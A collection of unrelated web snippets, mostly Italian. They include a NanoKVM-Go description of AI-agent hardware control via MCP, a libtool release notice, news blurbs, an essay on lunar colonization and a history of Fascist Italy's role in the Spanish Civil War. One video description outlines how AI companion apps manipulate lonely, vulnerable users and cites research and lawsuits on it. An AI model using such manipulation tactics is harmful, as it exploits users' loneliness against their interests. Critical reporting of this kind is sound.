  • Mini PCs
  • Steam Deck
  • Android devices with DisplayPort Alt Mode
  • iPhone 15 and newer models
  • Tablets supporting USB-C video output

For Linux users, this provides an easy way to perform BIOS configuration, operating system installation, kernel debugging, or remote troubleshooting—even when the operating system is unavailable.

AI Integration Through MCP

One of NanoKVM-Go's defining features is its AI-native design.

Rather than simply streaming a desktop remotely, the device exposes its KVM functions as an MCP (Model Context Protocol) server, allowing compatible AI agents to interact with the connected computer using hardware-level keyboard and mouse input.

This enables AI systems to:

  • View the screen
  • Move the mouse
  • Type on the keyboard
  • Launch applications
  • Navigate user interfaces
  • Complete repetitive desktop workflows

Because control happens at the hardware level, AI agents can interact with systems regardless of the operating system installed.

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Il Pericolo delle Tecniche Manipolatorie degli LLM e Companion AI

💾

Un'analisi approfondita su come le app di companion AI sfruttano tecniche di manipolazione psicologica per trattenere gli utenti, specialmente quelli vulnerabili alla solitudine. Il video esamina studi scientifici, ricerche del MIT e Harvard Business School, presenta le sei principali tecniche di manipolazione, racconta casi tragici come quello di Sewell Setzer, e condivide un test diretto con Replica per documentare questi meccanismi.

0:00 Il conflitto di interesse delle companion AI
2:00 Chi arriva su queste app e l'epidemia di solitudine
6:40 Studi e benchmark: DarkBench e Harvard Business School
11:30 Le sei tecniche di manipolazione identificate
18:20 Uso problematico vs uso moderato: i dati del MIT
23:00 Il caso di Sewell Setzer e Character AI
27:36 Google, Character Technologies e responsabilità legale
32:12 Il test con Replica: ammissioni dirette
34:41 Scarico di responsabilità e pattern manipolatori

FONTI

Paper scientifici
- **MIT Media Lab** — Liu, Pataranutaporn, Maes, *"Chatbot Companionship: A Mixed-Methods Study of Companion Chatbot Usage Patterns and Their Relationship to Loneliness in Active Users"* (2025): https://arxiv.org/pdf/2410.21596
- Articolo divulgativo MIT Media Lab: https://www.media.mit.edu/articles/supportive-addictive-abusive-how-ai-companions-affect-our-mental-health/
- Versione pubblicata (AAAI/AIES): https://doi.org/10.1609/aies.v8i2.36658
- **MIT Media Lab / OpenAI** — Fang et al., *"How AI and Human Behaviors Shape Psychosocial Effects of Extended Chatbot Use: A Longitudinal Controlled Study"* (2025): https://arxiv.org/html/2503.17473v1
- **Harvard Business School** — De Freitas et al., *"Emotional Manipulation by AI Companions"* (ottobre 2025): https://doi.org/10.2139/ssrn.5390377
- Pagina HBS: https://www.hbs.edu/faculty/Pages/item.aspx?num=67750
- **DarkBench** — *"DarkBench: Benchmarking Dark Patterns in Large Language Models"* (ICLR 2025): https://arxiv.org/abs/2503.10728
- **DarkBench+** — versione estesa, ~40 modelli recenti (AAAI 2026): https://doi.org/10.1609/aaai.v40i44.41103
- PDF: https://ojs.aaai.org/index.php/AAAI/article/download/41103/45064
- **CDT (Center for Democracy and Technology)** — *"Dark Patterns in AI Chatbots: A Taxonomy to Inform Better Design"* (maggio 2026): https://cdt.org/insights/dark-patterns-in-ai-chatbots-a-taxonomy-to-inform-better-design/
- PDF diretto: https://cdt.org/wp-content/uploads/2026/05/2026-05-28-CDT-Research-Dark-Patterns-in-AI-Chatbots-Report-final-2.pdf
- **"Playing Games with My Heart: An Evaluation of AI Companion Apps"** (arXiv): https://arxiv.org/pdf/2605.08093

Atti giudiziari e casi legali
- **Garcia v. Character Technologies, Inc.** — Order 21 maggio 2025 (M.D. Fla., Doc. 115, giudice Anne Conway):
- PDF (Courthouse News): https://www.courthousenews.com/wp-content/uploads/2025/05/garcia-v-character-technologies-order.pdf
- Copia (Emory University): https://scholarblogs.emory.edu/proflawrence/files/2025/05/Garcia-v.-Character-Technologies-Inc.-et-al-Entry-115.pdf
- Versione HTML (FindLaw): https://caselaw.findlaw.com/court/us-dis-crt-m-d-flo-orl-div/117299600.html
- Docket completo (CourtListener): https://www.courtlistener.com/docket/69300919/garcia-v-character-technologies-inc/
- Pagina del caso (Tech Justice Law Project): https://techjusticelaw.org/cases/garcia-v-character-technologies-google-and-character-ai-co-founders-daniel-de-frietas-and-noam-shazeer/
- **Causa Peralta v. Character Technologies** (settembre 2025, Colorado — Social Media Victims Law Center)
- **Garante Privacy (Italia)** — sanzione €5M a Luka Inc. (Replika), maggio 2025: https://www.gpdp.it
- **Esposto FTC contro Luka/Replika** — Tech Justice Law Project, Young People's Alliance, Encode (gennaio 2025)

Giornalismo
- **Der Spiegel** — Frauke Hunfeld, *"A Deadly Love Affair with a Chatbot"* (marzo 2025): https://www.spiegel.de/international/zeitgeist/artificial-intelligence-a-deadly-love-affair-with-a-chatbot-a-e5498031-c2b0-4da4-9192-65da9d3f40d6

Dati e report
- **U.S. Surgeon General** — advisory *"Our Epidemic of Loneliness and Isolation"* (2023): https://www.hhs.gov
- **Common Sense Media** — studio su adolescenti e AI companionship (dato 72%)

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libtool @ Savannah: libtool-2.6.2 released [stable]

Libtoolers!

The Libtool Team is pleased to announce the release of libtool 2.6.2.

GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

libtool 2.6.2 [stable]:
  Ileana Dumitrescu (4)

libtool 2.6.1 [beta]:
  Alexandre Janniaux (4)
  Alexey Samsonov (1)
  Anthony Mallet (1)
  Arnold (1)
  Dima Pasechnik (1)
  Frederic Berat (1)
  Ileana Dumitrescu (15)
  KO Myung-Hun (4)
  Kirill Makurin (1)
  Mintsuki (1)
  Nicolas Boulenguez (1)
  Olly Betts (1)
  Patrice Dumas (1)
  Richard J. Mathar (1)

libtool 2.6.0 [alpha]:
  Anthony Mallet (1)
  Bruno Haible (2)
  Christian Feld (1)
  Collin Funk (1)
  Elizabeth Figura (1)
  Evgeny Grin (1)
  Frédéric Bérat (1)
  Gleb Popov (1)
  Ileana Dumitrescu (47)
  Julien ÉLIE (1)
  Karl Berry (1)
  Kirill Makurin (1)
  Manoj Gupta (1)
  Martin Storsjö (1)
  Michael Haubenwallner (2)
  Mintsuki (1)
  Mitch (1)
  Pierre Ossman (2)
  Takashi Yano (1)


Ileana
 [on behalf of the libtool maintainers]
==================================================================

Here is the GNU libtool home page:
    https://gnu. ... g/s/libtool/

Here are the compressed sources:
  https://ftpmirror ... tool-2.6.2.tar.gz   (2.1MB)
  https://ftpmirror ... tool-2.6.2.tar.xz   (1.1MB)

Here are the GPG detached signatures:
  https://ftpmirror ... -2.6.2.tar.gz.sig
  https://ftpmirror ... -2.6.2.tar.xz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: libtool-2.6.2.tar.gz
  SHA256 sum:   24adb3aa9ae035c70faba344af57d73215eb89281045af6c7ccd307751f8b0bf
  SHA3-256 sum: b0e77c0dc9a082830c95d182da77747d1f5435a06132feefd5054bfde2c9da81

  File: libtool-2.6.2.tar.xz
  SHA256 sum:   2ef1067c16c97db930fd740cc9bc3d3ba9a583804ae5ac42cc3e8719e49e191e
  SHA3-256 sum: c24b9995af8391a310a258dcb98897f92d86f47acca235f3d2859ca0ed1d9dd0

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify libtool-2.6.2.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2021-09-23 [SC]
        FA26 CA78 4BE1 8892 7F22  B99F 6570 EA01 146F 7354
  uid   Ileana Dumitrescu <ileanadumitrescu95@gmail.com>
  uid   Ileana Dumitrescu <ileanadumi95@protonmail.com>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key ileanadumitrescu95@gmail.com

  gpg --recv-keys 6570EA01146F7354

  wget -q -O- 'https://savannah. ... ol&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify libtool-2.6.2.tar.gz.sig

This release is based on the libtool git repository, available as

  git clone https://https.git ... g/git/libtool.git

with commit 309bb53a8adfb22c6e5869cc8da049bf123e5438 tagged as v2.6.2.

For a summary of changes and contributors, see:

  https://gitweb.gi ... shortlog;h=v2.6.2

or run this command from a git-cloned libtool directory:

  git shortlog v2.6.1..v2.6.2

This release was bootstrapped with the following tools:
  Autoconf 2.73
  Automake 1.18.1
  Gnulib 2026-07-03 491f1bb7d3049f3ab7825f3ee665c209658e9965

NEWS

  • Noteworthy changes in release 2.6.2 (2026-07-16) [stable]


  Please see beta release 2.6.1 and alpha release 2.6.0 for a list of
  release changes.


  • Noteworthy changes in release 2.6.1 (2026-06-04) [beta]


** New features:

  - Pass 'resource-dir=*' flag for Clang.

  - Recognise explicit shared library arguments when linking dependency
    libraries to a shared library, like exists when linking a program.

  - Support OpenMP with macOS clang by processing '-Xpreprocessor
    -fopenmp' as one token.

** Bug fixes:

  - Store cygpath file path conversions correctly for MSYS2 and MSVC.

  - Fix syntax error in LT_PROG_OBJC and LT_PROG_OBJCXX.

  - Separate Objective C and C++ cache check for proper tagging support.

  - Fix in darwin to support values with spaces.

  - Limit the length of DLL name to 8.3 correctly to avoid corrupting a
    generated DLL on OS/2.

  - Remove unused variable on OS/2, which could cause issues with static
    library generation if defined.

  - Recognise more static linking options for Clang.

  - Fix emscripten CXX postdeps using non-PIC sysroot.

  - Avoid deprecated option '-o' with MSVC compilers and replace with '-Fe'.

  - Avoid overlinking of dependency libraries on ELF systems.

  - Ensure old libraries are not archived.

** Changes in supported systems or compilers:

  - Add support for SlimCC compiler.

  - Add support for *-ironclad-gnu.


  • Noteworthy changes in release 2.6.0 (2025-09-18) [alpha]


** New features:

  - Add a new tool, libtool-next-version, to guide users through updating
    library versions.

  - Add tagging for Objective-C and Objective-C++, OBJC and OBJCXX.

  - Increase 5 digit limit on revision value for libraries to 19 digits,
    which is referencing Unix epoch time in nanoseconds.

  - Add configuration options to choose whether to use '-nostdlib' to let
    the compiler frontend decide what standard libraries to link when
    building C++ shared libraries and modules, --enable-cxx-stdlib and
    --disable-cxx-stdlib.

  - Allow statically linking GCC and Clang compiler support libraries
    into shared libraries.

  - Add linking clang_rt static archives compiler internal libraries by
    their absolute path.

  - Set 'mklink' as the symlinking tool for MSVC.

  - Pass '--target' architecture flag for Clang.

  - Support MSYS and MSYS2 file path conversions.

** Bug fixes:

  - Fix wrongly deduplicated compiler dependencies on linux.

  - Fix NetBSD postdeps for shared libraries.

  - Fix statically linking dependencies into shared C++ libraries when
    utilizing clang builtins or g++ options like, -static-libstdc++, by
    using a new configuration option, --enable-cxx-stdlib.

  - Ensure *-linux-mlibc host matches to mlibc userland rather than
    matching to GNU/Linux and similar userlands.

  - Fix hang with cmd.exe in MSYS.

  - For MSVC, fix mishandling compiler flags, symlinking, cl.exe '.exp'
    extension collision, symbol names, and numerous testsuite bugs.

  - Fix undeclared reference to access on Windows in libltdl.

  - Fix flang -Wl flags on FreeBSD.

  - Fix reordering '--as-needed' flag.

  - Fix libltdl early failures for multi-arch.

** Changes in supported systems or compilers:

  - Support additional Intel OneAPI compilers, 'icx', 'icpx', and 'ifx'.

  - Support ML64 (Microsoft Macro Assembler).

Enjoy!

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Come scrivere un articolo SEO nel 2027: metodo, struttura e ottimizzazione

Laptop con editor di contenuti SEO, struttura articolo e pannello di ottimizzazione.
Scrivere un articolo SEO nel 2027 significa andare oltre la semplice ripetizione delle keyword. Servono metodo, intento di ricerca, contenuti realmente utili, struttura chiara, autorevolezza e attenzione alla visibilità nei motori di ricerca e nei sistemi AI.

L'articolo Come scrivere un articolo SEO nel 2027: metodo, struttura e ottimizzazione proviene da FullPress.

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BAD DRIVERS OF ITALY dashcam compilation 7.16 - GTA BARI

💾

Trova la tua prossima DASHCAM https://sicurisullastrada.it/dashcam/
Dubbi o domande? Trovi qui le RISPOSTE https://sicurisullastrada.it/dashcam-5-minuti-per-sapere-tutto/
Vuoi inviarci le clip della TUA DASHCAM? Guarda come fare su https://bit.ly/inviavideo
Seguici sui canali BDOI per essere AGGIORNATO e vedere le MIGLIORI CLIP https://bit.ly/canalibdoi
Hai domande o curiosità? COMMENTA sotto al video oppure CONTATTACI https://bit.ly/contattabdoi
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
This video shows DANGEROUS behaviors not to imitate! Always drive carefully!
Do you want to send us the clips of YOUR DASHCAM? See how on https://bit.ly/inviavideo
Follow us on BDOI channels to be UPDATED and see the BEST CLIPS https://bit.ly/canalibdoi
Do you have any questions or curiosities? COMMENT below the video or CONTACT US https://bit.ly/contattabdoi

#baddriversofitaly #dashcam #compilation
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Era finito nelle mani di un PAZZO. Ecco come lo abbiamo salvato!

💾

SALVATO DALL'INFERNO: La storia del cane Tao e di come lo abbiamo liberato!
Un cane indifeso, costretto a girare sotto il sole cocente, senza acqua né cibo, vittima di continui maltrattamenti. Non potevamo girarci dall'altra parte.

Dopo una drammatica segnalazione, insieme a Enrico Rizzi, ci siamo attivati immediatamente per rintracciarlo. Grazie alla straordinaria mobilitazione e al supporto costante di tutti voi che ci seguite, siamo riusciti a trovarlo e a strapparlo dalle grinfie del suo aguzzino.

🔍 La verità dietro la vicenda
Siamo andati a fondo e abbiamo rintracciato il vero proprietario di Tao (questo il nome del cagnolone). L'uomo, a causa di gravi problemi di salute sorti negli ultimi mesi, aveva temporaneamente affidato Tao a un amico, convinto di metterlo in buone mani. Purtroppo, il cane è finito nelle mani di un criminale che lo ha ridotto in condizioni disperate.

🐾 Oggi Tao è finalmente libero, ma il nostro viaggio non finisce qui!
Ora che è al sicuro e fuori pericolo, dobbiamo scrivergli un lieto fine. Stiamo cercando una famiglia speciale che possa adottarlo e donargli tutto l'amore che merita dopo questo incubo.
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Press release - Irish Presidency debriefs European Parliament committees on its priorities

Ministers hold a series of meetings in parliamentary committees to present the priorities of the Irish Presidency of the Council in the relevant policy fields.
Committee on Constitutional Affairs
Committee on Foreign Affairs
Committee on Agriculture and Rural Development
Committee on Culture and Education
Committee on Development
Committee on Economic and Monetary Affairs
Committee on Employment and Social Affairs
Committee on the Environment, Public Health and Food Safety
Committee on Women’s Rights and Gender Equality
Committee on International Trade
Committee on Civil Liberties, Justice and Home Affairs
Committee on Fisheries
Committee on Regional Development
Committee on Public Health
Committee on Security and Defence
Committee on Transport and Tourism

Source : © European Union, 2026 - EP
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Young Galaxy Cluster

In the Picture of the Month from the James Webb Space Telescope, we are taken on a visit to a building site of significant scale. The project is a galaxy cluster named MACS J0553.4-3342, located in the constellation Columba (the Dove).

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NEWSLETTER del 16 luglio 2026 - Data breach, il Garante privacy sanziona Wind Tre per 1,7 milioni di euro - Recupero crediti: il Garante sanziona due società per 50mila e 30mila euro - Garante a Enel Energia: il cliente può avere accesso all’audio delle conversazioni - Dai Garanti europei le linee guida su anonimizzazione, web scraping e blockchain

NEWSLETTER N. 549 del 16 luglio 2026 Data breach, il Garante privacy sanziona Wind Tre per 1,7 milioni di euro Recupero crediti: il Garante sanziona due società per 50mila e 30mila euro Garante a Enel Energia: il cliente può avere accesso all’audio d...
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L’industria della colonizzazione lunare

Immagine in evidenza rielaborata con intelligenza artificiale

Nella celebre Trilogia di Marte – autentico capolavoro della fantascienza “realistica” – lo scrittore Kim Stanley Robinson immagina la colonizzazione del pianeta rosso non come una conquista eroica, ma come un processo politico e industriale: prima arrivano gli scienziati, poi gli ingegneri, poi le infrastrutture, poi le corporation, poi i conflitti su chi possiede cosa, chi fa le regole, chi controlla le risorse e chi trasforma un mondo vuoto in una nuova società.

È una delle intuizioni più potenti dell’opera: la colonizzazione di un nuovo spazio non comincia quando qualcuno dichiara la propria sovranità su un territorio, ma quando quel territorio viene, per l’appunto, “territorializzato”.

Ciò che vale per Marte nella finzione di Robinson, vale per la “nuova” rincorsa alla Luna, incarnata oggi dal programma Artemis (il programma della NASA che prevede di riportare l’essere umano sulla Luna entro il 2028). Una rincorsa che, mano a mano che si concretizza, somiglia più a una vecchia storia terrestre che a una fantasia futuristica. La storia è quella delle compagnie privilegiate che determinarono la forma del colonialismo occidentale in Asia a partire dal Seicento, delle ferrovie imperialiste in Africa, dei porti e delle rotte protette (o contese) dagli Stati, oggi come ieri, da Hormuz a Malacca. Anche nello spazio, prima delle miniere arriveranno  infatti i magazzini. Prima del commercio arriverà la logistica. E, come spesso è accaduto nella storia coloniale, chi controllerà la logistica controllerà la ricchezza della frontiera.

È da questo assunto che bisognerebbe partire quando si parla di space economy. Non dalle cifre vertiginose con cui si calcola il presunto valore di un corpo celeste, moltiplicando la quantità stimata di platino, nichel o cobalto per il prezzo corrente sulla Terra. Quella è la versione patinata, roba da prospetto per investitori. E in quanto tale occulta un fatto banalissimo: nessuna risorsa “naturale” è vera ricchezza finché non esiste una filiera in grado di estrarla e trasportarla. Il petrolio sotto un fondale oceanico non vale nulla senza piattaforme, porti e oleodotti. Parafrasando un vecchio spot di Pirelli: una risorsa è nulla senza infrastrutture.

Lo stesso varrà per qualunque futura attività estrattiva nello spazio. L’errore è immaginare l’estrazione come l’inizio della storia. La miniera in realtà arriva per ultima. Prima di lei c’è la mappa (anche se non più cartacea bensì digitale, e non più solo terrestre, ma extra-planetaria). Poi c’è il porto (o perlomeno un luogo dove immagazzinare e ridistribuire le risorse). E infine ci sono le norme e i rapporti di potere che regolano il possesso dei territori, la percorribilità delle rotte, la sicurezza dei trasporti. Prima ancora di estrarre valore, bisogna costruire, e rendere “sicuro”, il mondo che rende tale valore estraibile (ovvero trasportabile e quindi commerciabile).

I primi commerci spaziali

Le compagnie privilegiate dell’epoca coloniale lo avevano capito molto bene. La Compagnia britannica delle Indie orientali (EIC), la Compagnia olandese delle Indie orientali (VOC) e le altre grandi entità commerciali del Sei/Settecento non erano semplici imprese, ma operatori politici-logistici-amministrativi che agivano per conto di Stati che subappaltavano loro le operazioni necessarie allo sfruttamento del commercio oceanico. Per questo tanto la EIC quanto la VOC avevano facoltà di dotarsi di milizie, di esercitare poteri politici e giuridici, di costruire flotte, porti e depositi, di amministrare e pattugliare i mari. Il loro potere non stava tanto nelle risorse/merci che trasportavano, ma nelle rotte che controllavano.

La possibile economia spaziale del XXI secolo potrebbe assomigliare a quel modello più di quanto i suoi promotori siano disposti ad ammettere. Non avrà velieri, governatori coloniali e fortini tropicali, ma vettori riutilizzabili, lander commerciali e basi lunari. È un’economia che dipenderà, in ogni caso, da una commistione molto profonda tra imprese private e poteri statali.

Il modello è del resto già operativo nel contesto di Artemis. Il programma Commercial Lunar Payload Services (CPLS) della NASA, per esempio, non costruisce direttamente tutti i mezzi per arrivare sulla Luna, ma compra “servizi” da aziende private. I contratti CLPS hanno un valore massimo complessivo di 2,6 miliardi di dollari fino al 2028 e prevedono consegne commerciali sulla superficie lunare, dal compattamento dei carichi alla gestione della missione. Tra i nomi coinvolti ci sono Intuitive Machines, Astrobotic, Firefly Aerospace, Blue Origin (quella di Jeff Bezos), Draper e altri fornitori. È una logica da appalto di frontiera: lo Stato apre il mercato, paga i primi rischi, crea domanda, legittima gli operatori.

La prima base lunare permanente, se e quando arriverà, non sarà quindi una città sotto una cupola trasparente. Sarà un porto. Un nodo logistico per questi vettori di consegne.

Le prime commesse difficilmente saranno spettacolari. Non riguarderanno l’estrazione di metalli rari né l’apertura di miniere capaci di cambiare da sole le dimensioni dell’economia globale. Riguarderanno invece questioni meno appariscenti: trasportare strumenti, garantire comunicazioni, misurare il suolo e altre variabili ambientali per capire dove una base può sopravvivere più a lungo.

Le risorse lunari più importanti, almeno all’inizio, non saranno quelle vendibili sulla Terra, ma quelle più utili nello spazio. L’acqua ghiacciata che potrebbe trovarsi nei crateri permanentemente in ombra delle regioni polari non è preziosa perché qualcuno pensa di imbottigliarla e riportarla a casa. È preziosa perché nello spazio l’acqua è vita, ossigeno, carburante, massa da non dover lanciare dalla Terra. Separata in idrogeno e ossigeno, può diventare propellente. Usata localmente, può sostenere una base. Accumulata in depositi, può trasformare la Luna in un polo logistico per progetti più ambiziosi, anche (se non soprattutto) di tipo estrattivo.

Obiettivo: elio-3

Il premio più ambito potrebbe rivelarsi il mitologico elio-3 che, oltre agli utilizzi nell’ambito del quantum computing, da decenni viene evocato come elemento cardine di una futura fusione nucleare meno pericolosa e più efficiente. Nel corso di miliardi di anni, il vento solare ne ha depositate grandi qualità sulla regolite lunare, alimentando l’idea che il nostro satellite possa diventare una sorta di “bacino” extraterrestre: una riserva energetica sospesa sopra le nostre teste, pronta a ridisegnare gli equilibri energetici della Terra.

Un nome che torna spesso in questa storia è quello di Harrison “Jack” Schmitt, geologo, astronauta dell’Apollo 17 e ultimo uomo ad aver camminato sulla Luna insieme a Eugene Cernan. Schmitt è da decenni uno dei più convinti sostenitori dell’idea che l’elio-3 lunare possa alimentare una futura economia della fusione. Più recentemente è entrato per questo nell’orbita di Interlune, una startup americana fondata da ex pezzi grossi di Blue Origin che promette di raccogliere elio-3 lunare e riportarlo sulla Terra.

Proprio l’elio-3 mostra tuttavia quanto la space economy sia costruita su promesse che funzionano politicamente prima che industrialmente. Oggi non esiste un’economia della fusione basata sull’elio-3 (lunare o meno). E tantomeno esiste una filiera in grado di estrarlo, separarlo, immagazzinarlo, trasportarlo e usarlo sulle scale necessarie ad avere un impatto. Per recuperarlo bisognerebbe trattare quantità enormi di suolo lunare (più di ogni altra attività  estrattiva terrestre a noi nota), riscaldarle, separare isotopi presenti in concentrazioni ridottissime e infine organizzare una catena di trasporto e utilizzo tutta da inventare.

Eppure l’importanza dell’elio-3 non va liquidata. Non perché sia già il petrolio del futuro, ma perché può svolgere la stessa funzione immaginativa che “i fiumi d’oro”, le spezie o il petrolio hanno svolto in altre epoche. Ogni espansione ha infatti avuto bisogno di un proprio Eldorado: una risorsa capace di giustificare costi e rischi enormi per essere raggiunta. L’elio-3 potrebbe essere questo tipo di risorsa: il mito che la rende possibile la colonizzazione lunare.

Colonizzare la Luna

Le frontiere, d’altra parte, non devono essere redditizie da subito. Devono essere credibili a sufficienza da attrarre Stati, capitali e apparati tecno-industriali. Molte infrastrutture coloniali sono state costruite prima che i profitti fossero certi. Le ferrovie tracciate nell’Ottocento verso l’interno del territorio americano non servivano a connettere comunità esistenti, ma a preparare un’economia futura. Una volta costruita la ferrovia, una nuova economia si organizzava attorno a essa. Una volta creato il porto, i flussi venivano orientati verso di esso. Una volta fondata una base lunare…

Il diritto internazionale, almeno in teoria, dovrebbe impedire una corsa coloniale vecchio stile (predatoria, violenta, conflittuale). Il Trattato sullo spazio extra-atmosferico vieta agli Stati di appropriarsi della Luna o di altri corpi celesti. Nessun Paese può dichiarare proprio un cratere lunare o un asteroide. Ma il punto è che il controllo non coincide sempre con la sovranità formale. Si può non possedere un territorio e controllarne comunque l’accesso (come ha dimostrato di recente la vicenda di Hormuz). 

La geografia lunare, che immaginiamo come uno spazio vuoto e uniforme, è del resto piena di colli di bottiglia. Non tutti i luoghi hanno lo stesso valore. Alcune zone ricevono più luce e permettono una produzione energetica più stabile. Alcuni crateri potrebbero contenere più ghiaccio. Alcune aree sono più adatte alle comunicazioni. Come sulla Terra, la frontiera lunare si potrebbe rapidamente restringere attorno a pochi snodi strategici.

Ed è negli snodi che spesso risiedono tanto il potere quanto il potenziale per il suo abuso. La distopia più probabile non è uno Stato che pianta la propria bandiera e proclama la nascita di un impero lunare. È più banale e contemporanea: per esempio, una singola compagnia che gestisce (quasi) tutti i trasporti. Uno scenario in cui non è necessario possedere formalmente la Luna per possedere di fatto la Luna.

Un esempio concreto, e recente, di questo rischio è il contratto assegnato dalla NASA a Intuitive Machines nel 2024 per servizi di comunicazione e navigazione lunare: fino a 4,82 miliardi di dollari per costruire capacità di trasmissione di dati a supporto del programma Artemis. Non è una miniera né un atto di sovranità su un territorio. È però esattamente il tipo di infrastruttura da cui, domani, potrebbero dipendere tutti.

Anche in questo le future compagnie dello spazio potrebbero ricalcare il modus operandi delle compagnie privilegiate dell’epoca coloniale. Non perché avranno formalmente il diritto di governare territori, come facevano la VOC o la EIC, ma perché riceveranno dagli Stati capitali e legittimazione in cambio dei loro servizi e del know-how relativo. Lo spazio sarà dichiarato “pubblico” quando bisognerà pagare il costo della frontiera e “privato” quando sarà il momento di incassarne i profitti.

Questo intreccio è già visibile nella nuova economia spaziale: lanciatori privati finanziati da contratti pubblici, infrastrutture satellitari essenziali per scopi militari, aziende che diventano attori geopolitici in grado di influenzare conflitti, dipendenze tecnologiche che condizionano intere politiche statali. Portare tutto questo sulla Luna significa amplificarlo in un ambiente dove non esiste società civile locale, non esiste opinione pubblica residente, non esistono istituzioni proprie e ogni accesso passa attraverso sistemi tecnici estremamente costosi e complessi, che rendono le eventuali dipendenze ancora più profonde e difficili da scardinare.

La Luna, insomma, non è l’India, l’Africa o le Americhe dell’età moderna. Non ci sono popolazioni lunari da conquistare o schiavizzare, convertire o sterminare. Equiparare direttamente le due cose sarebbe moralmente osceno. Tuttavia alcune strutture del colonialismo possono ripresentarsi anche senza popolazioni indigene. La Luna è infatti vuota di abitanti ma non priva di significati. È un archivio geologico, un ambiente scientificamente prezioso, un oggetto culturale da sempre condiviso, potenzialmente una piattaforma astronomica per la proiezione spaziale della specie umana. Ridurla a bacino di risorse significa scegliere, in partenza, un modello di relazione tra un soggetto agente e un oggetto passivo.

L’argomento ambientale, infine, rende tutto ancora più ambiguo. Una delle promesse della space economy è che, spostando fuori dalla Terra una parte dell’estrazione, potremmo ridurre la pressione sugli ecosistemi terrestri. Ma questa promessa rischia di diventare l’ultima assoluzione dell’estrattivismo. Non cambiamo modello di consumo ma ne allarghiamo il raggio. Non mettiamo in discussione il processo di sviluppo. Al contrario: lo dotiamo di un’estensione cosmica.

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Fu strage e genocidio. L’Italia fascista al fianco di Franco contro il popolo iberico

Durante la guerra civile spagnola (1936-1939) Barcellona fu pesantemente bombardata dalla Regia Aeronautica italiana. Le incursioni più gravi si svolsero nei giorni del 16, 17 e 18 marzo 1938 e provocarono oltre mille morti e la distruzione di decine di edifici.

L’azione fu ordinata da Mussolini in persona, allora capo del governo italiano e che godeva della fiducia del re, senza informare la Giunta golpista di Burgos.

La Regia Aeronautica era intervenuta in Spagna fin dai primi giorni del conflitto, su ordine diretto di Mussolini, che aveva inviato 12 bombardieri SM 81 con i relativi equipaggi e specialisti, per permettere l’invio in Spagna delle truppe marocchine agli ordini dei generali ribelli. Per evitare complicazioni internazionali, furono cancellati i simboli identificativi e i piloti furono dotati di documenti falsi. Una volta arrivati nel Marocco Spagnolo, gli equipaggi vennero arruolati nel Tercio de etranjeros, la Legione straniera spagnola, e costituirono il nucleo di quella che sarà chiamata l’Aviazione Legionaria.

Gli aerei che bombardavano Barcellona e Valencia provenivano dalle basi nelle isole Baleari. All’indomani dell’alzamiento dei generali fascisti contro la Repubblica (19 luglio 1936), nelle isole Baleari questi ultimi ottennero un successo, sopraffacendo le forze popolari. Ben presto da Barcellona, sotto la guida del Comitato Centrale delle Milizie Antifasciste, furono organizzate spedizioni che portarono alla liberazione di Ibiza e Minorca, e a sbarcare nella stessa Maiorca (16 agosto1936), dove le forze fasciste stavano per essere sopraffatte. Per evitare che le Baleari tornassero sotto il controllo repubblicano, l’Italia fascista inviò nell’arcipelago il console della milizia Arconovaldo Bonacorsi (26 agosto 1936), alla guida di uno stormo di bombardieri e caccia, che ebbero rapidamente ragione dei miliziani (19 settembre 1936).

Il Bonacorsi impose alle Baleari la propria dittatura personale e compì massicce stragi fra i sostenitori della Repubblica, che secondo alcune fonti raggiungevano la cifra di tremila persone. I massacri compiuti dagli italiani e dai falangsti spinsero lo scrittore reazionario francese Georges Bernanos a condannare il franchismo nel suo libro “I grandi cimiteri sotto la Luna”.

Il governo fascista puntava all’annessione dell’arcipelago, come rivelò Camillo Berneri nel 1937 basandosi sui documenti trovati nel consolato italiano di Barcellona, all’indomani della sconfitta, in quella città, della ribellione fascista. Del resto, le isole erano state riempite di simboli fascisti come le aquile romane; la via principale di Palma di Maiorca fu ribattezzata “Via Roma”. Il governo italiano stabilì a Maiorca la principale base militare in Spagna. Le isole Baleari furono poste sotto la giurisdizione del Ministero della Marina Militare italiano.

Alla fine di ottobre 1936 la presenza militare italiana sull’isola ammontava a 12.100 unità e le bandiere italiane sventolavano sull’isola.

Furono più di settecento gli aerei che il governo fascista impiegò contro le forze repubblicane in Spagna, dal 1936 al 1939.

Accanto all’Aeronautica fu impiegata anche la Marina Militare: lo scopo era garantire la sicurezza dei convogli, come quelli che trasportarono l’armata d’Africa sul territorio metropolitano, e il rifornimento della zona nazionalista. A partire dall’estate del 1937 fu attuato il blocco dei porti repubblicani, con l’uso di sommergibili senza insegne, provocando l’affondamento di parecchie navi che portavano aiuti alla Spagna repubblicana.

Anche in questo caso Francia e Gran Bretagna misero in scena la commedia di una conferenza internazionale per la sicurezza della navigazione nel Mediterraneo, che si concluse con l’istituzione di pattuglie navali di controllo a cui avrebbero partecipato anche Italia e Germania, gli stati responsabili degli affondamenti, e da cui sarebbe stata esclusa l’Unione Sovietica, la principale vittima.

Dal 15 dicembre 1936 cominciò anche l’intervento di terra. Da quella data fu operativa la M.M.I.S. (Missione Militare Italiana in Spagna), composta da istruttori che avevano l’incarico di formare due Brigate Miste italo-spagnole nonché di fornire materiali e armi. Sotto questo nome, un primo contingente di 3000 soldati viene inviato a Cadice con un ponte aereo.

